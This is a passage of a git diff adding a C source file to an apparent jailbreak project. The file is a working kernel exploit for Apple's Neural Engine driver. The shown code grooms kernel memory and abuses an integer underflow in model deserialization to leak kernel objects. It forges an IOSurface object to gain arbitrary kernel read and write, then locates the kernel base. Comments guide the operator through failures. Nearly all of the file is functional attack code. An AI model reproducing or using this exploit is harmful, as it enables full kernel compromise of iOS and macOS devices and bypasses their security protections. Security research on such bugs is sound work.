after spraying : */ + /* size=0x4000 */ + /* <============> */ + /* +--------------+--------------+--------------+-----+--------------+--------------------+ */ + /* | DeviceShmem1 | DeviceShmem2 | DeviceShmem3 | ... | DeviceShmemN | ... | */ + /* +--------------+--------------+--------------+-----+--------------+--------------------+ */ + /* */ + for(int i = 0; i < (count -3); i+=3) { + submit_args->shmid_1 = p->shmems[i]->shm_id; + submit_args->shmid_2 = p->shmems[i+1]->shm_id; + submit_args->shmid_3 = p->shmems[i+2]->shm_id; + do_s_submit_command_buffers(c,q,(uint8_t*)args,0x28 + 8); + } + printf("OK\n"); + +} + + +struct shmem * lookup_scratched_shmem(u64 scratch,u32 size,u32 *offset) +{ + /* printf("[+] Call lookup_scratched_shmem() \n"); */ + for(u32 i=0; i < p->shmems_count;i++) { + + u8 * tmp = (u8*)memmem(p->shmems[i]->shm_addr,p->shmems[i]->shm_len,&scratch,size); + if(tmp) { + printf("[+] Found scratched ShmemID 0x%x with size 0x%x\n", + p->shmems[i]->shm_id,p->shmems[i]->shm_len); + *offset = (u32)(tmp - (u8 *)p->shmems[i]->shm_addr); + return p->shmems[i]; + } + } + return NULL; +} + +uint32_t subtypeToUse = 0; + +void _hwx_patch_model(struct mach_header_64 *mh,size_t mh_size,u8 ** initInfo) +{ + if((mh->magic != 0xfeedface) && (mh->magic != 0xbeefface)) { + printf("[-] Not a mach-O file \n"); + assert(false); + } + + mh->cpusubtype = subtypeToUse; + + struct load_command *lc = NULL; + FOR_EACH_COMMAND { + + if (lc->cmd == LC_SEGMENT_64) { + struct segment_command_64 *seg = (struct segment_command_64*)lc; + dbg("Found LC_SEGMENT_64 %s \n",seg->segname); + struct section_64 * sct_start = (struct section_64*)(seg + 1); + struct section_64 * sct_end = &sct_start[seg->nsects]; + + for (struct section_64* sect=sct_start; (sect < sct_end); ++sect) { +#if 0 + printf("%s :section %s Flags 0x%x size = 0x%llx \n", + sect->segname,sect->sectname,sect->flags,sect->size); +#endif + if(!strcmp(sect->segname,"__TEXT") && !strcmp(sect->sectname,"__const")) { + sect->flags = 0x2C; + *initInfo = (u8 *)mh + sect->offset;; + } + + if(!strcmp(sect->segname,"__FVMLIB") && !strcmp(sect->sectname,"__fvmlib_init0")) { + dbg("Found __fvmlib_init0 section \n"); + sect->flags = 0; + } + + if(!strcmp(sect->segname,"__INIT") && !strcmp(sect->sectname,"__text")) { + sect->flags = 0x2a; + } + + } + + } else if (lc->cmd == LC_THREAD) { + struct compute_thread_command *thread = (struct compute_thread_command *)lc; + switch (thread->flavor) { + case THREAD_PROCEDURE_OPERATION: { + *(uint64_t*)((char*)thread + 0x830 + 0x10) = rand(); /* 0x10 is the load cmd size */ + break; + } + default: + break; + } + } + + } + +} + +/* Prepare the weight buffer content */ +static void setup_ANECMutableProcedureInfo(u8 *address,size_t address_size, + size_t total_size,size_t chunk_size, + u64 chunk_offset) +{ + bzero(address,address_size); + uint32_t weight_size = 0x1; + + struct ANECMutableProcedureInfo * pinfo = (struct ANECMutableProcedureInfo *)address; + pinfo->hdr.weight_buffer_size = weight_size; + struct weightInfo *mw = NULL; + + for(int i=0; i < weight_size; i++) { + pinfo->wb_offsets[i] = 0x200; + struct opsInfo *ops = (struct opsInfo *)((u8*)pinfo + pinfo->wb_offsets[i]); + ops->op_count = (u32)total_size/0x10; + + for(int j = 0; j < ops->op_count; j++ ) { + ops->op_offsets[j] = 0x1000; + mw = (struct weightInfo *)((u8 *)pinfo + ops->op_offsets[j]); + mw->wi_index = 0; + mw->wi_offset = chunk_offset; + mw->wi_size = chunk_size; + } + } +} + +#define __set8(ptr,val) \ + *ptr++ = val; + +#define __set16(ptr,val) \ + *(u16 *)ptr = val; \ + ptr+=2; + +#define __set32(ptr,val) \ + *(u32 *)ptr = val; \ + ptr+=4; + +#define __set64(ptr,val) \ + *(u64 *)ptr = val; \ + ptr+=8; + +#define DeCxt_GetFileInfo(ptr,index32,offset64,size64) \ + *(u32 *) ptr = index32; \ + *(u64 *) (ptr + 4) = offset64; \ + *(u64 *) (ptr + 12) = size64; \ + ptr+=20; + +#define DeCxt_GetWeightInfo(ptr,val8,val16_ptr) \ + *ptr++ = val8; \ + for(int i=0 ; i < 5;i++) { \ + *(u16 *)(ptr) = val16_ptr[i]; \ + ptr+=2; \ + } \ + +#define DeCxt_ParseTransformInfo(ptr,val8, val16_ptr) \ + *ptr++ = val8[0]; \ + *ptr++ = val8[1]; \ + *ptr++ = val8[2]; \ + \ + *(u16 *)ptr = val16_ptr[0]; ptr+=2; \ + *(u16 *)ptr = val16_ptr[1]; ptr+=2; \ + *(u16 *)ptr = val16_ptr[2]; ptr+=2; \ + + +#define DeCxt_ParseOcgRasterizationInfo(ptr,val16_ptr) \ + for(int i=0 ; i < 4;i++) { \ + *(u16 *)(ptr) = val16_ptr[i]; \ + ptr+=2; \ + } \ + +/* Serialize init_section then patch model.hwx's init_section later before loading it */ +static void serialize_initinfo_section(u8 *init_info,serializer_info_t *info) +{ + dbg("[+] Serializing init_section header \n"); + u8 * ptr = init_info; + u8 * info_hdr = (u8 *)init_info; + + /* DeCxt::ParseHeader */ + __set32(info_hdr,2); + __set32(info_hdr,0x80); + __set32(info_hdr,2); + __set32(info_hdr,2); + + ptr = info_hdr; + __set64(ptr,0x2000); + *(u64 *)(init_info + 0x2000 ) = 0x2000;; + *(u64 *)(init_info + 0x2000 + 8) = 0x3000; + + /* DeCxt::ProcessInitInfo */ + + /* -> DeCxt::ParseScaleBiasWeightFileInfo */ + u8 *ptr2 = init_info + 0x3000; + __set8(ptr2,1); /* Enalbe fileInfo1 */ + __set8(ptr2,1); /* Enalbe fileInfo2 */ + __set8(ptr2,1); /* Enalbe fileInfo3 */ + + /* --> DeCxt::GetFileInfo */ + DeCxt_GetFileInfo(ptr2,info->chunk_index,0,info->global_chunk_size); + DeCxt_GetFileInfo(ptr2,0,0,1); + DeCxt_GetFileInfo(ptr2,0,0,1); + + /* --> DeCxt::GetWeightInfo */ + u16 val16[5] = {1,2,3,4,5}; + DeCxt_GetWeightInfo(ptr2,41,val16); + + __set16(ptr2,1); /* used for buffer allocation, putting it to zero will skip the loop */ + u8 *ptr3 = ptr2; /* ZinIrDeserializer::Read() */ + + /* --> DeCxt::ParseTransform */ + /* ***** first loop **** */ + __set8(ptr3,1); /* case 1 */ + + __set64(ptr3,info->read_count/2); /* how many u64 we want to leak ? */ + __set64(ptr3,info->read_offset); /* the starting offset to read from*/ + + /* ***** second loop **** */ + __set16(ptr3,1); + + u8 val8[3] = {1,1}; + u16 val16_2[3] = {1,0,0}; + DeCxt_ParseTransformInfo(ptr3,val8,val16_2); + + __set16(ptr3,0); /* The chunk index */ + + + __set16(ptr3,1); /* Back to Transform list */ + __set16(ptr3,1); /* Back to Transform list */ + + /* DeCxt::RasterizeScaleBiasData */ + __set64(ptr3,info->underflow); /* 2nd arg : The value that will underflow the calculaion */ + + __set16(ptr3,1); /* 3rd arg : u16 value */ + + /* ParseOcgRasterizationInfo */ + u16 ocgInfo[4] = {0,0,0,info->ocg.vals[3]}; + DeCxt_ParseOcgRasterizationInfo(ptr3,ocgInfo); + +} + +void kwrite64(uint64_t address,uint64_t value) +{ +#if TARGET_OS_OSX + *(u64 *) (krw.shm_uaddr + 0x358) = address; +#else + *(u64 *) (krw.shm_uaddr + 0x360) = address; +#endif + set_indexed_timestamp(p->iosurface,krw.surface_id,0,value); +} + +uint32_t kread32(uint64_t address) +{ + *(u64 *) (krw.shm_uaddr + 0xc0 ) = address - 0x14; + uint32_t out = 0; + iosurface_get_use_count(p->iosurface,krw.surface_id,&out); + return out; + +} + +uint64_t kread64(uint64_t address) +{ + uint32_t out = kread32(address); + uint32_t out2 = kread32(address + 4); + uint64_t value = ((uint64_t)out2 << 32) | out; + + return value; +} +void khexdump(u64 kaddr,u64 size) +{ + u8 * data = (u8 *)calloc(size,1); + for(int i=0; i < size;i+=8) { + u64 kdata = kread64(kaddr + i); + *(u64 *) (data + i) = kdata; + } + + hexdump(data,size); + free(data); + +} + +static void iosurface_spray_kernel_map(u32 surface_id,u32 key,u32 size,u32 count) +{ + init_iosurface_prop_data(); + + u32 ppsz = 0x10; + u8 * pp = (u8 *)calloc(ppsz,1); + memset(pp,0xAA,ppsz); + + uint32_t offkey = build_iosurface_payload(size/8,pp,ppsz,key); + u32 lkey = key; + for(int i=0; i < count;i++) { + iosurface_set_value(p->iosurface,surface_id); + *(uint32_t *)(prop_data + offkey * 4) = lkey++; + } + free(pp); +} + +static void get_surface_base(uint32_t surface_id,u8 **address, size_t *size) +{ + IOSurfaceRef s = IOSurfaceLookup(surface_id); + assert(s); + *address = (u8*)IOSurfaceGetBaseAddress(s); + *size = (size_t)IOSurfaceGetAllocSize(s); + CFRelease(s); +} + +void init_structs(void) +{ + + p = (struct exploit *)calloc(1,sizeof(struct exploit)); + assert(p); + + p->initInfo_sz = 0x4000; + vm_address_t addr = 0; + kern_return_t kr = vm_allocate(mach_task_self(),&addr,p->initInfo_sz,1); + p->initInfo = (u8*)addr; + assert(kr == KERN_SUCCESS); + + /* Prepare WeightSurface, the kernel mapping of this will land at KHEAP_DATA_BUFFERS */ + p->weightsBufferSize = 0x80000; + IOSurfaceFastCreateArgs args = {0}; + args.IOSurfaceAddress = (vm_address_t)malloc(p->weightsBufferSize); + args.IOSurfaceAllocSize = (uint32_t)p->weightsBufferSize; + + p->iosurface = create_surface_fast_path(IO_OBJECT_NULL, &p->weightsSurface, &args); + store_surface_id(p->weightsSurface); + + p->weightsBuffer = (u8*)IOSurfaceGetBaseAddress(IOSurfaceLookup((IOSurfaceID)p->weightsSurface)); + args.IOSurfaceAddress = 0; + args.IOSurfaceAllocSize = 0x400000; + create_surface_fast_path(p->iosurface, &p->InOutSurface, &args); + store_surface_id(p->InOutSurface); + + /* Prepare the serializer object */ + sinfo = (serializer_info_t *)calloc(1,sizeof(serializer_info_t)); + assert(sinfo); + + p->groom_surface_count = 0x20; + p->groom_pageable_maps_count = MAX_SHMEMS; + +#if TARGET_OS_OSX + p->groom_kernel_map_count = 0x10; +#else + p->groom_kernel_map_count = 0x30; +#endif +} + +void groom_kernel_map(void) +{ + u64 program_handle =0; + u32 loaded_progs_count = MAX_PROGRAMS; + + /* size = 0xc000 */ + /* <============> */ + /* +--------------+--------------+--------------+-----------+----------------------------------- */ + /* | OSArray ptrs | OSArray ptrs | OSArray ptrs | fresh VA | .......... */ + /* +--------------+--------------+--------------+-----------+----------------------------------- */ + /* <------------------------------------------ kernel_map --------------------------------------- */ + /* */ + + + if(p->kernel_map_groom_done == false) { + printf("[+] Grooming kernel_map ... "); + for(int i=0; i < p->groom_kernel_map_count; i++) + iosurface_spray_kernel_map(p->weightsSurface,0x44444401 + i,0xc000,1); /* */ + + p->kernel_map_groom_done = true; + } + + /* Groom kernel_map such that OSArray backing store objects fall between H11ANEProgramBufferParamsStruct(s)*/ + /* size=0x54000 size=0x54000 */ + /* <=============> <=============> */ + /* ---------+---------------+---------------+---------------+---------------+-----+------------------------- */ + /* ... | ProgramBuffer | ProgramBuffer | OSArray | ProgramBuffer | ... | ProgramBuffer ... */ + /* ---------+---------------+---------------+---------------+---------------+-----+------------------------- */ + /* ^------------------------------------------ kernel_map ----------------------------------------------- */ + /* */ + + u32 keys[loaded_progs_count], keys_cnt = 0; + for(int i=0;i < loaded_progs_count; i++) { + /* + * This is a crucial step to improve the success rate of stage 2: + * Make sure that each page in IOSurface_zone contains at least one IOSurface + * object that's owned by us, so later when we leak an IOSurface_zone_page from that zone + * we can retrieve an IOSurface object through IOSurfaceID identification. + */ + u32 ssid = 0; + IOSurfaceFastCreateArgs args = {0}; + args.IOSurfaceAddress = (vm_address_t)malloc(0x4000); + args.IOSurfaceAllocSize = 0x4000; + // for(int j=0; j < 2;j++) { + for(int j=0; j < 2;j++) { + create_surface_fast_path(p->iosurface, &ssid, &args); + store_surface_id(ssid); + } + + program_handle = hwx_load_model(); + hwx_unload_model(program_handle); + + if((i % 2) == 0) { + keys[keys_cnt] = 0x10101001 + (keys_cnt <<28); + iosurface_spray_kernel_map(p->weightsSurface,keys[keys_cnt++],0x54000,1); + } + printf(". "); + + } + printf("OK\n"); + + /* MUTK & PROG IOSurface mappings will be adjacents to our DeviceShmem mappings */ + /* size=0x4000 size=0x4000 size=0x10000 */ + /* <============> <==========> <=============> */ + /* -----+--------------+------------+---------------+------------+--------------+------- */ + /* ... | DeviceShmemN | MUTK(1) | PROG(1) | MUTK(2) | PROG(2) | ... */ + /* -----+--------------+------------+---------------+------------+--------------+------- */ + /* */ + + + /* Free OSArray objects to create holes in kernel_map */ + /* size=0x54000 size=0x54000 */ + /* <=============> <=============> */ + /* ---------+---------------+---------------+---------------+---------------+-----+------------------------- */ + /* ... | ProgramBuffer | ProgramBuffer | FREED | ProgramBuffer | ... | ProgramBuffer ... */ + /* ---------+---------------+---------------+---------------+---------------+-----+------------------------- */ + /* ^------------------------------------------ kernel_map ----------------------------------------------- */ + /* */ + + for(int i=0; i < keys_cnt; i++) { + dbg("Removing key 0x%x \n",keys[i]); + iosurface_remove_property(p->iosurface,p->weightsSurface,keys[i]); + } + +} + + /* Leak H11ANESharedMemorySurfaceParamsStruct from kernel_map */ +bool get_mutk_object(void) +{ + u64 program_handle =0; + u8* _ptrbuf = 0; + size_t sz = 0; + + /* Allocate MutableWeight with size of 0x54000 that will likely overlap with one of the freed OSArrays */ + /* size=0x54000 size=0x54000 */ + /* <===============> <=========================> */ + /* ---------+-----------------+----------------------------+---------------+-----+------------------------- */ + /* ... | ProgramBuffer | MutableWeight[] | ProgramBuffer | ... | ProgramBuffer ... */ + /* ---------+-----------------+----------------------------+---------------+-----+------------------------- */ + /* ^------------------------------------------ kernel_map ----------------------------------------------- */ + /* */ + + setup_ANECMutableProcedureInfo((u8*)p->weightsBuffer,p->weightsBufferSize,0x54000,0x4000,p->weightsBufferSize-0x4000); + + /* 0x14000 = 'MUTK' + 'PROG' IOSurface allocation sizes */ + /* Copy out the leaked H11ANESharedMemorySurfaceParamsStruct to one of the shared memory buffers that we've */ + /* created via IOGPU */ + sinfo->underflow = 0 - (0x20 * 0x14000); + +#if 0 + + /* + * 0x000a7e1 = (&programbuffer->MUTK_Surface[0] - weightBuffer)/0x10 = (0x54000 + 0x53E10)/0x10 + * 0x54000 is the rounded up size of H11ANEProgramBufferParamsStruct + * 0x53E10 is the offset of H11ANESharedMemorySurfaceParamsStruct in H11ANEProgramBufferParamsStruct object + * 0x10 is the size of MutableWeight entry + */ + + /* Snippet from a reverse-engineer'ed MutableOperationInfo (size = 0x53E70) */ + struct MutableWeight { + uint8_t * wbuf_chunk; + size_t wbuf_chunk_size; + + }; + + /* Snippet from a reverse-engineer'ed H11ANESharedMemorySurfaceParamsStruct (size = 0x53E70) */ + struct __attribute__((aligned(8))) _H11ANEProgramBufferParamsStruct + { + ... + H11ANESharedMemorySurfaceParamsStruct *MUTK_Surface[2]; /* + 0x53E10 */ + ... + }; + + /* reverse-engineer'ed H11ANESharedMemorySurfaceParamsStruct (size = 0x48) */ + struct H11ANESharedMemorySurfaceParamsStruct + { + size_t size; + IOSurface *p_IOSurface; + uint64_t dartMapBase; + IOMemoryDescriptor *surface_memDesc; + IOMemoryMap *surface_memMap; + uintptr_t surface_vAddress; + IODMACommand *dmaCommand; + uint8_t usage[4]; + uint32_t ref_count; + uint32_t programId; + uint32_t processId; + }; +#endif + + /* + * Because we're sure that one of the ProgramBuffer objects is adjacent to our MutableOperationInfo array, + * and both objects are 0x54000 bytes size, it is safe to consider this value as constant + */ + sinfo->chunk_index = 0x000a7e1; + + sinfo->read_count = 0x48; /* Read sizeof(H11ANESharedMemorySurfaceParamsStruct) = 0x48 */ + sinfo->global_chunk_size = ~0; + sinfo->ocg.vals[3] = sinfo->read_count; /* Write sizeof(H11ANESharedMemorySurfaceParamsStruct) back to our shmem */ + serialize_initinfo_section(p->initInfo,sinfo); + + program_handle = hwx_patch_and_load_model(); + do_send_ane_request(program_handle); + + u32 offset = 0, scratched_surface = 0; + + /* + * The leaked 0x48 bytes should contain 'MUTK' integer value in it + * If not found, it means either the spray has failed or something other than H11ANESharedMemorySurfaceParamsStruct + * has been leaked. + */ + struct shmem * shm = lookup_scratched_shmem('MUTK',4,&offset); + if(shm == NULL) { + printf("[-] Something went wrong here, if you experience this failure a lot, this means the device is not idle " + "and we couldn't shape the memory as expected. It's preferable to reboot the device and try again \n"); + return false; + } + + _ptrbuf = shm->shm_addr; + sz = shm->shm_len; + + /* Needed for the last exploit stage */ + krw.surface_id = scratched_surface; + krw.shm_uaddr = _ptrbuf; + krw.shm_size = sz; + _ptrbuf = _ptrbuf + offset - 0x38; + + memcpy(&aneMemSurface,_ptrbuf,0x48); + + hexdump(_ptrbuf,0x48); + printf("[+] Leaked mutable kernel section (MUTK) buffer 0x%llx \n",aneMemSurface.surface_address); + printf("[+] Leaked IOSurface object 0x%llx \n",aneMemSurface.p_IOSurface); + + /* + * Needed to perform the arbitrary kernel write later + * We picked a random memory that's (hopefully) one of our shared memory buffer + * We'll figure out later its backing user space address + */ + krw.shm_kaddr = aneMemSurface.surface_address - (80 * 0x4000); + + printf("[+] Kernel location of our input buffer 0x%llx \n",krw.shm_kaddr); + + if(aneMemSurface.p_IOSurface > aneMemSurface.surface_address) { + printf("*********************************************************************************\n"); + printf("FATAL: The exploit has anticipated a failure that would likely crash the device at the last stage because of the target IOSurface is invalid \n" + " It's preferable to stop here and run the exploit again \n"); + printf("*********************************************************************************\n"); + return false; + } + + bzero(shm->shm_addr,shm->shm_len); + hwx_unload_model(program_handle); + return true; +} + +bool get_target_surface(u64 *kaddr_target) +{ + u64 program_handle =0; + u64 target = 0; + u8* _ptrbuf = 0; + u32 offset = 0; + + IOSurface_zone_page = trunc_page(aneMemSurface.p_IOSurface); +#if 0 + printf("Offset 0x%llx \n",aneMemSurface.p_IOSurface - IOSurface_zone_page); +#endif + assert(!((aneMemSurface.p_IOSurface - IOSurface_zone_page) % IOSURFACE_OBJ_SIZE)); + +#if TARGET_OS_OSX + u64 shift_off = 0x34000; +#else + u64 shift_off = 0x14000; +#endif + + /* + * We are trying to learn the upcoming weight surface kernel mapping in IOKitPageableMaps + * For each program loaded, two IOSurface objects are created: 'PROG' and 'MUTK' (0x14000 bytes) + * We need to deduce an accurate location in order to preform the arbitrary read later + * Fortunately, it's possible to precisely anticipate the location based on the shift_off + * if a kernel panic or failure occurred at this stage please see DEBUG_EXPLOIT_STAGE_2_KERN_PANIC + */ + u64 weightSurface_kloc = aneMemSurface.surface_address + shift_off; + dbg("[+] Deduced weightSurface (from IOKitPageableSpace submaps) location 0x%llx \n",weightSurface_kloc); + + IOSurfaceFastCreateArgs args = {0}; + + args.IOSurfaceAllocSize = 0x20000; + args.IOSurfaceAddress = 0; + create_surface_fast_path(p->iosurface, &p->weightsSurface, &args); + store_surface_id(p->weightsSurface); + + get_surface_base(p->weightsSurface,&p->weightsBuffer,(size_t *)&p->weightsBufferSize); + dbg("[+] Created new (weight) IOSurface id=0x%x base=0x%llx size=0x%lx\n", + p->weightsSurface,(u64)p->weightsBuffer,p->weightsBufferSize); + + target = (0 - (weightSurface_kloc - IOSurface_zone_page)); + /* target = (0x4141414141414141); //(weightSurface_kloc - IOSurface_zone_page)); */ + +#if DEBUG_EXPLOIT_STAGE_2_KERN_PANIC + /* + * In case of several failures occurred at this stage : + * 1. Enable DEBUG_EXPLOIT_STAGE_2_KERN_PANIC + * 2. Get the faulted address from the kernel panic log : would be something like 0x414141414XXXX242 + * 3. in lldb -> p/x 0x4141414142424242 - 0x414141414XXXX242 = new_value + * 4. Update shift_off = (old)shift_off - new_value + */ + + target = (0 - (weightSurface_kloc - 0x4141414142424242)); + dbg("[*] Target to read from 0x%llx \n",target); +#endif + + /* Use the integer overflow to underflow the weight surface buffer to point into IOSurface_zone_page location */ + setup_ANECMutableProcedureInfo((u8*)p->weightsBuffer,p->weightsBufferSize, + 0x10, + (0 - target ) + 0x8000,target); + + bzero(sinfo,sizeof(*sinfo)); + + /* Like weightSurface_kloc, anticipate the next 'mutk' surface buffer location */ + u64 mutk_addr = weightSurface_kloc - 0x4000; + + assert(krw.shm_kaddr); + + sinfo->underflow = (0 - 0x003d0000); + +#if !TARGET_OS_OSX + sinfo->underflow = (krw.shm_kaddr - mutk_addr); +#endif + + sinfo->chunk_index = 0; + sinfo->read_count = 0x4000; /* DeCxt::ParseTransform() case [1] 1st ReadUint64() */ + sinfo->global_chunk_size = ~0; + sinfo->ocg.vals[3] = sinfo->read_count; + serialize_initinfo_section(p->initInfo,sinfo); + + program_handle = hwx_patch_and_load_model(); + do_send_ane_request(program_handle); + + offset = 0; +#if TARGET_OS_OSX + struct shmem * shm = lookup_scratched_shmem(0xfffffe,3,&offset); +#else + struct shmem * shm = lookup_scratched_shmem(0xffffff,3,&offset); +#endif + if(shm == NULL) { + printf("FAIL\n"); + printf("[-] Could not find scratched Shmem .. run the exploit again\n"); + return false; + } + _ptrbuf = shm->shm_addr; + _ptrbuf = _ptrbuf + offset - 21; + + /* IOSurfaceRoot location */ + IOSurfaceRoot = *(u64 *) (_ptrbuf + 0x28); + + /* hexdump(_ptrbuf,0x4000); */ + + for(u32 i=0; i < 0x4000;i+=IOSURFACE_OBJ_SIZE) { + u8 *ptr = _ptrbuf + i; + dbg("Reading from 0x%llx \n",IOSurface_zone_page + i); + //hexdump(ptr,0x20); + //printf("--- \n"); + + /* The IOSurface we want must have one reference only so the leaked IOSurfaceClient is certainly ours */ + u32 refcount = *(u32 *)(ptr + 8); + u32 ss = *(u32 *)(ptr + 0xc); /* IOSurfaceID */ + + for(int j=0; j < g_IOSurfaceIds_count; j++) { + if(ss == g_IOSurfaceIds[j] && refcount == 1) { + matched.surface_id = ss; + matched.loc = ptr; +#if TARGET_OS_OSX + matched.IOSurfaceClient_loc = *(u64 *)(ptr + 0x338); +#else + matched.IOSurfaceClient_loc = *(u64 *)(ptr + 0x340); +#endif + matched.IOSurface_loc = IOSurface_zone_page + ptr - _ptrbuf; + + printf("[+] Found a matching surface-id=0x%04x IOSurface=0x%llx ! \n", + matched.surface_id, + matched.IOSurface_loc); + break; + } + } + if(matched.surface_id) break; + } + + /* assert(matched.surface_id && "Unable to find a suitable IOSurface"); */ + + /* Looks like our IOSurface_zone grooming didn't work out as expected, just run the exploit again */ + if(!matched.surface_id) { + printf("[-] Stage 3 Failed : Unable to find an IOSurface controlled by us\n"); + return false; + + } + printf("[+] IOSurfaceClient location 0x%llx \n",matched.IOSurfaceClient_loc); + printf("[+] IOSurface location 0x%llx \n",matched.IOSurface_loc); + printf("[+] IOSurfaceRoot 0x%llx \n",IOSurfaceRoot); + + + usleep(1000); + bzero(shm->shm_addr,shm->shm_len); + + /* We want to overwrite IOSurface location with an arbitrary kernel address */ + target = matched.IOSurfaceClient_loc + 0x40; + *kaddr_target = matched.IOSurfaceClient_loc + 0x40; + hwx_unload_model(program_handle); + return true; +} + +bool get_kernel_rw(uint64_t *kernelBaseOut) +{ + + u8 * chunk = p->weightsBuffer + p->weightsBufferSize - 0x4000; + bzero(p->weightsBuffer,p->weightsBufferSize); + + setup_ANECMutableProcedureInfo((u8*)p->weightsBuffer,p->weightsBufferSize,0x10,0x4000,p->weightsBufferSize-0x4000); + + memset(sinfo,0,sizeof(serializer_info_t)); + + /* Overwrite IOSurfaceClient->pIOSurface with IOGPU shared memory (krw.shm_kaddr) */ + /* At this step, we don't know which shmem is backing the kernel mapping whose address is krw.shm_kaddr */ + /* Let's find out ... */ + + /* We don't need to worry about determining the offset at which a bogus IOSurface object starts because it will always be at offset 0, because all IOGPU shmem sizes are page size. */ + for(u32 i=0; i < p->shmems_count;i++) { + /* memset(p->shmems[i]->shm_addr,0x44,0x4000); */ + + for(int j=0; j < p->shmems[i]->shm_len; j+=8) { + *(u64 *) (p->shmems[i]->shm_addr + j ) = 0x4141414100000000 |j; /* useful to detect faults */ + } + + /* Bypass IOSurface->IOSurfaceRoot check */ + *(u64 *) (p->shmems[i]->shm_addr + 0x28) = IOSurfaceRoot; + + /* Fake IOSurface->SharedRO with arbitrary kernel address to preform the leak via IOSurface::get_use_count() */ + *(u64 *) (p->shmems[i]->shm_addr + 0xc0) = (u64)krw.shm_kaddr + 0x2000 - 0x14; + + /* SharedRO location : we want to figure out which user address matches our 'krw.shm_kaddr' */ + *(u64 *) (p->shmems[i]->shm_addr + 0x2000) = 0x41410000 |p->shmems[i]->shm_id; + + } + +#if 0 + *(u64 *) chunk = 0xdeadbeef11223344; /* For debugging purpose */ +#else + *(u64 *) chunk = krw.shm_kaddr; /* Fake IOSurface Object */ +#endif + + +#if TARGET_OS_OSX + u64 mutk_addr = (aneMemSurface.surface_address + 0x40000); +#else + u64 mutk_addr = (aneMemSurface.surface_address + 0x10000); +#endif /* TARGET_OS_OSX */ + + u64 target_write = (matched.IOSurfaceClient_loc + 0x40); + +// #define DEBUG_EXPLOIT_STAGE_4_KERN_PANIC 1 +#if DEBUG_EXPLOIT_STAGE_4_KERN_PANIC + /* + * If you encouter several kernel panics at this stage it means that the offset is not + * quite accurate for this device, enable DEBUG_EXPLOIT_STAGE_4_KERN_PANIC and follow the steps + * described in stage 3 + */ + target_write = 0x4141414142424242; + +#endif + + /* assert(target_write < mutk_addr && "Cannot write into this address :("); */ + + /* + * Due to the nature of the OOB write, we cannot write to a memory region whose address + * is upper to the MUTK mapping address. That's because of the enhanced kernel_map randomization. + * Just play with MAX_SHMEMS and it will likely work in the second try ... + */ + if(target_write > mutk_addr) { + printf("[-] Failed: we cannot write into this address=0x%llx from mutk_addr=0x%llx\n", + target_write,mutk_addr); + printf("****** INCREASE MAX_SHMEMS BY 0x1000 THEN RUN THE EXPLOIT AGAIN *********** \n"); + return false; + } + /* SUCCESS! we can ovewrite the target location now */ + sinfo->underflow = (target_write) - mutk_addr; + sinfo->chunk_index = 0; + + sinfo->read_count = 0x8; /* DeCxt::ParseTransform() case [1] 1st ReadUint64() */ + sinfo->global_chunk_size = ~0; + sinfo->ocg.vals[3] = sinfo->read_count; + serialize_initinfo_section(p->initInfo,sinfo); + + u64 program_handle = hwx_patch_and_load_model(); + + do_send_ane_request(program_handle); + + u32 target_shmid = 0; +#if 1 + iosurface_get_use_count(p->iosurface,matched.surface_id,&target_shmid); +#else + /* For debugging purpose */ + for(int i=0; i < g_IOSurfaceIds_count;i++) { + iosurface_get_use_count(p->iosurface,g_IOSurfaceIds[i],&target_shmid); + if((target_shmid & 0x41410000) == 0x41410000) + break; + target_shmid = 0; + } +#endif + + /* assert(target_shmid); */ + if(target_shmid == 0) { + printf("[-] Unable to retrieve the backing shmid id \n"); + return false; + } + + target_shmid &= ~0x41410000; + printf("[+] Got shmem id 0x%x for 0x%llx \n",target_shmid,krw.shm_kaddr); + /* sleep(1); */ + + printf("[+] Stage 5: Get stable arbitrary kernel read/write .... "); + for(int i =0; i < p->shmems_count;i++) { + if(target_shmid != p->shmems[i]->shm_id) continue; + + krw.shm_uaddr = (u8*)p->shmems[i]->shm_addr; + krw.shm_size = p->shmems[i]->shm_len; + break; + } + + krw.surface_id = matched.surface_id; + + u64 val = xpacd(kread64(IOSurfaceRoot)); + + + printf("OK \n"); + printf("[+] IOSurfaceRoot vtable 0x%llx \n",val); + + u64 temp1 = kread64(val); + printf("[+] kread64([0x%llx]) = 0x%llx\n",val,temp1); + + u64 temp = kread64(krw.shm_kaddr + 0x3000); + printf("[+] kread64([0x%llx]) = 0x%llx\n",krw.shm_kaddr + 0x3000,temp); + printf("[+] kwrite64(0x%llx,0x%lx) \n",krw.shm_kaddr + 0x3000,0xdeadbeef12345678); + kwrite64(krw.shm_kaddr + 0x3000,0xdeadbeef12345678); + temp = kread64(krw.shm_kaddr + 0x3000); + printf("[+] kread64([0x%llx]) = 0x%llx\n",krw.shm_kaddr + 0x3000,temp); + /* sleep(1); */ + u64 kaddr = trunc_page(val); + u32 magic = 0, filetype = 0; +#if 1 + + do { + kaddr -= 0x4000; + magic = kread32(kaddr); + filetype = kread32(kaddr + 0xc); + }while((magic != 0xfeedfacf) || (filetype != 2)); + + printf("[+] Kernel text base 0x%llx\n",kaddr); + khexdump(kaddr,0x70); +#endif + if (kernelBaseOut) { + *kernelBaseOut = kaddr; + } + +#if 0 + kwrite64(0x1111111111111111,0x2222222222222222); +#endif + return true; + +} + +void cleanup(void) +{ + /* Restore the old state as if nothing happened */ + kwrite64(matched.IOSurfaceClient_loc + 0x40,matched.IOSurface_loc ); + printf("[+] Cleanup done\n"); + + + +} +void show_device_spec(void) +{ + struct utsname u = {0}; + uname(&u); + printf("\tsystem name = %s\n", u.sysname); + printf("\tnode name = %s\n", u.nodename); + printf("\trelease = %s\n", u.release); + printf("\tversion = %s\n", u.version); + printf("\tmachine = %s\n", u.machine); +} + +int exploit(uint64_t *kernelBaseOut) +{ +#if !TARGET_OS_OSX + hwx_init_frameworks(); +#endif + + init_structs(); + + hwx_patch_model(); + + printf("[+] Stage 1: Grooming kernel memory ... \n"); + /* p->groom_pageable_maps_count *= 2; */ + /* p->groom_surface_count *=2; */ + + groom_IOSurface_zone(); + groom_pageable_maps(); + groom_kernel_map(); + + if(!get_mutk_object()) + return -1; + + printf("[+] Stage 3: Dumping a memory page from IOSurface_zone \n"); + u64 kaddr = 0; + if(!get_target_surface(&kaddr)) + return -1; + + usleep(1000); + printf("[+] Stage 4: Performing the arbitrary write primitive ... \n"); + if(!get_kernel_rw(kernelBaseOut)) + return -1; + + show_device_spec(); + + return 0; +} + +#if TARGET_OS_OSX +int main() +{ + return exploit(); +} +#endif diff --git a/Application/Dopamine/Exploits/weightBufs/exploit/iokit.h b/Application/Dopamine/Exploits/weightBufs/exploit/iokit.h new file mode 100644 index 0000000000..8d26e64923 